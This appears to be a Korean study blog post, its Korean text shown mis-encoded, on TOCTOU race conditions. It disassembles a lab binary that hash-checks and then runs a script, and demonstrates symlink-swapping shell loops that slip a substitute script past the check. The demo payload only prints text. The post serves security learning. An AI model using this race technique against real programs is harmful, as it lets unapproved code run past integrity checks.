๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
  • Welcome.
:: BoB 11๊ธฐ ๐Ÿšฉ/Topics

[ vuln ] - [ Time of Check to Time of Use(toctou), Race condition ]

by EunBird 2022. 7. 15.
  • Time of Check to Time of Use 
    • Race condition
    • Resource Validation๊ณผ Resource Use ์‚ฌ์ด์— Resource ์ˆ˜์ •์œผ๋กœ ์ธํ•ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ . 
      • Resource : ํŒŒ์ผ, ๋””๋ ‰ํ† ๋ฆฌ, ๋ฉ”๋ชจ๋ฆฌ, ๋„คํŠธ์›Œํฌ ๋“ฑ ์™ธ๋ถ€ ์ง€์›. 
      • [ ๊ณผ์ • ]
      • 1. ํŒŒ์ผ ์ฝ๊ธฐ
      • 2. md5 ํ•ด์‹œ ์ƒ์„ฑ
      • 3. md5 ํ•ด์‹œ ๊ฒ€์ฆ
      • 4. ๊ฒ€์ฆ 
        • ๋งž๋‹ค๋ฉด -> ์‹คํ–‰
        • ์•„๋‹ˆ๋ผ๋ฉด -> ์˜ค๋ฅ˜

ใ…กใ…กใ…ก

์˜ˆ์‹œ) 

 

<toctou>

cat normal-script.sh  # ์ผ๋ฐ˜ ์Šคํฌ๋ฆฝํŠธ ํŒŒ์ผ -> ํ—ฌ๋กœ์›”๋“œ ํŒŒ์ผ

 

 

 


vim evil.sh  # ์•…์˜์ ์ธ ์Šคํฌ๋ฆฝํŠธ ํŒŒ์ผ ์ž‘์„ฑ -> ํ—ฌ๋กœ์ด๋ธ” ํŒŒ์ผ
-> #!/bin/bash
-> echo -e "hello evil\n"  

chmod 755 evil.sh # ๊ถŒํ•œ ๋ถ€์—ฌ.


./vuln ./evil.sh  # vuln ํŒŒ์ผ์— evil.sh ๋ฅผ ์ธ์ž๊ฐ’์œผ๋กœ ๋„ฃ์Œ.
-> ์—๋Ÿฌ ๋œธ -> vulnํŒŒ์ผ์—์„œ๋Š” ์ธ์ž๊ฐ’์˜ ํ•ด์‹œ๊ฐ’์„ ๋น„๊ตํ•˜์—ฌ ์ผ์น˜ํ•˜๋Š” ๊ฒฝ์šฐ์—๋งŒ ์‹คํ–‰์‹œํ‚ด.

 

 

 


gdb -q vuln # vulnํŒŒ์ผ์˜ ๋‚ด์šฉ ํ™•์ธ. -q ์˜ต์…˜์€ gdb์ ‘์†์‹œ ๋œจ๋Š” ๋ฉ”์‹œ์ง€ ๋ฌด์‹œ ์˜ต์…˜.

pwngdb> disass main  # mainํ•จ์ˆ˜๋ฅผ ๋””์Šค์–ด์…ˆ๋ธ” ํ•˜๋ผ.

 

   0x0000000000401240 <+0>:	push   rbp
   0x0000000000401241 <+1>:	mov    rbp,rsp
   0x0000000000401244 <+4>:	sub    rsp,0xc0
   0x000000000040124b <+11>:	xor    eax,eax
   0x000000000040124d <+13>:	mov    DWORD PTR [rbp-0x4],0x0
   0x0000000000401254 <+20>:	mov    DWORD PTR [rbp-0x8],edi
   0x0000000000401257 <+23>:	mov    QWORD PTR [rbp-0x10],rsi
   0x000000000040125b <+27>:	lea    rcx,[rbp-0xa0]
   0x0000000000401262 <+34>:	mov    rdi,rcx
   0x0000000000401265 <+37>:	mov    esi,eax
   0x0000000000401267 <+39>:	mov    edx,0x80
   0x000000000040126c <+44>:	mov    DWORD PTR [rbp-0xb4],eax
   0x0000000000401272 <+50>:	call   0x401090 <memset@plt>
   0x0000000000401277 <+55>:	mov    rcx,QWORD PTR [rbp-0x10]
   0x000000000040127b <+59>:	mov    rdi,QWORD PTR [rcx+0x8]
   0x000000000040127f <+63>:	mov    esi,DWORD PTR [rbp-0xb4]
   0x0000000000401285 <+69>:	mov    al,0x0
   0x0000000000401287 <+71>:	call   0x4010c0 <open@plt>
   0x000000000040128c <+76>:	mov    DWORD PTR [rbp-0x14],eax
   0x000000000040128f <+79>:	cmp    DWORD PTR [rbp-0x14],0xffffffff
   0x0000000000401293 <+83>:	jne    0x4012a5 <main+101>
   0x0000000000401299 <+89>:	mov    DWORD PTR [rbp-0x4],0xffffffff
   0x00000000004012a0 <+96>:	jmp    0x401352 <main+274>
   0x00000000004012a5 <+101>:	lea    rsi,[rbp-0xa0]
   0x00000000004012ac <+108>:	mov    edi,DWORD PTR [rbp-0x14]
   0x00000000004012af <+111>:	mov    edx,0x80
   0x00000000004012b4 <+116>:	mov    al,0x0
   0x00000000004012b6 <+118>:	call   0x4010a0 <read@plt>
   0x00000000004012bb <+123>:	lea    rdi,[rbp-0xa0]
   0x00000000004012c2 <+130>:	mov    DWORD PTR [rbp-0xb8],eax
   0x00000000004012c8 <+136>:	call   0x4018e0 <md5String> ; !! ์—ฌ๊ธฐ์„œ md5๋กœ ํ•ด์‹œํ™” ํ•˜๊ณ  ์žˆ๋‹ค.
   0x00000000004012cd <+141>:	mov    QWORD PTR [rbp-0xa8],rax
   0x00000000004012d4 <+148>:	mov    edi,0x80
   0x00000000004012d9 <+153>:	call   0x4010b0 <malloc@plt>
   0x00000000004012de <+158>:	xor    esi,esi
   0x00000000004012e0 <+160>:	mov    QWORD PTR [rbp-0xb0],rax
   0x00000000004012e7 <+167>:	mov    rdi,QWORD PTR [rbp-0xb0]
   0x00000000004012ee <+174>:	mov    edx,0x80
   0x00000000004012f3 <+179>:	call   0x401090 <memset@plt>
   0x00000000004012f8 <+184>:	mov    rdi,QWORD PTR [rbp-0xa8]
   0x00000000004012ff <+191>:	mov    rsi,QWORD PTR [rbp-0xb0]
   0x0000000000401306 <+198>:	call   0x4011d0 <hash2str>
   0x000000000040130b <+203>:	mov    rsi,QWORD PTR [rbp-0xb0]
   0x0000000000401312 <+210>:	movabs rdi,0x402007
   0x000000000040131c <+220>:	mov    edx,0x20
   0x0000000000401321 <+225>:	call   0x401040 <strncmp@plt> ; !! ์—ฌ๊ธฐ์— strncmpํ•จ์ˆ˜๋กœ ๋น„๊ตํ•˜๊ณ  ์žˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. 
   0x0000000000401326 <+230>:	cmp    eax,0x0
   0x0000000000401329 <+233>:	jne    0x401341 <main+257>
   0x000000000040132f <+239>:	mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000401333 <+243>:	mov    rdi,QWORD PTR [rax+0x8]
   0x0000000000401337 <+247>:	call   0x401070 <system@plt>
   0x000000000040133c <+252>:	jmp    0x401352 <main+274>
   0x0000000000401341 <+257>:	movabs rdi,0x402028
   0x000000000040134b <+267>:	mov    al,0x0
   0x000000000040134d <+269>:	call   0x401080 <printf@plt>
   0x0000000000401352 <+274>:	mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000401355 <+277>:	add    rsp,0xc0
   0x000000000040135c <+284>:	pop    rbp
   0x000000000040135d <+285>:	ret    
   End of assembler dump.

pwndbg> q   # q๋กœ ๋‚˜๊ฐ€๊ธฐ.

 

ln -sf normal-script.sh test.sh # f ์˜ต์…˜ : ๋งํฌ ํŒŒ์ผ์ด ์ด๋ฏธ ์กด์žฌํ•˜๋ฉด ์ง€์šฐ๊ณ  ์ƒˆ๋กœ ๋งŒ๋“ฆ.

while [ 1 ] ; do ./vuln ./test.sh ; done # ํ„ฐ๋ฏธ๋„1 ์—์„œ๋Š” ๋ฌดํ•œํžˆ vuln์— test.sh๋ฅผ ์ธ์ž๋กœ ๋„ฃ์–ด์„œ ์‹คํ–‰ํ•ด๋‘ .


while [ 1 ] ; do ln -sf evil.sh test.sh ; done # ํ„ฐ๋ฏธ๋„2์—์„œ๋Š” ๋ฌดํ•œํžˆ evil.sh์˜ ๋งํฌํŒŒ์ผ์ธ test.sh๋ฅผ ์ƒ์„ฑ.


while [ 1 ] ; do ln -sf normal-script.sh test.sh ; done # ํ„ฐ๋ฏธ๋„3์—์„œ๋Š” ๋ฌดํ•œํžˆ ์ผ๋ฐ˜ ์Šคํฌ๋ฆฝํŠธ์˜ ๋งํฌํŒŒ์ผ test.sh๋ฅผ ์ƒ์„ฑ.

 

์ด๋ ‡๊ฒŒ ๋˜๋ฉด, ํ„ฐ๋ฏธ๋„ 1์—์„œ test.sh๋ฅผ ๋ฌดํ•œํžˆ ์‹คํ–‰ํ•˜๋Š”๋ฐ, 

ํ„ฐ๋ฏธ๋„2์™€ ํ„ฐ๋ฏธ๋„3์—์„œ ๊ฐ๊ฐ ์ •์ƒ์ ์ธ ์‹ ํ˜ธ์™€ ๋น„์ •์ƒ์ ์ธ ์‹ ํ˜ธ๊ฐ€

vuln ํŒŒ์ผ ๋‚ด์—์„œ md5ํ•จ์ˆ˜์™€ strncmp ํ•จ์ˆ˜๋ฅผ ์ง€๋‚˜๊ฐ€๊ธฐ ๋•Œ๋ฌธ์— 

while(1)๋ฌธ์œผ๋กœ ์˜์›ํžˆ ๋Œ๋ฆฌ๋‹ค๋ณด๋ฉด ๋ช‡๋ฒˆ์€ ์•…์˜์  ์Šคํฌ๋ฆฝํŠธ์˜ ๋งํฌ๋œ test.sh๊ฐ€ ๊ฒ€์ฆ์— ์„ฑ๊ณตํ•  ์ˆ˜ ์žˆ๋‹ค.

 

ใ…กใ…กใ…ก

 

 

728x90

๋Œ“๊ธ€